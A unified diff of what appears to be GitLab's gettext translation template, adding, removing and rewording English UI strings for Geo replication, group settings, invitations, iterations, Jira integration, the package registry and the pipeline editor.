@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
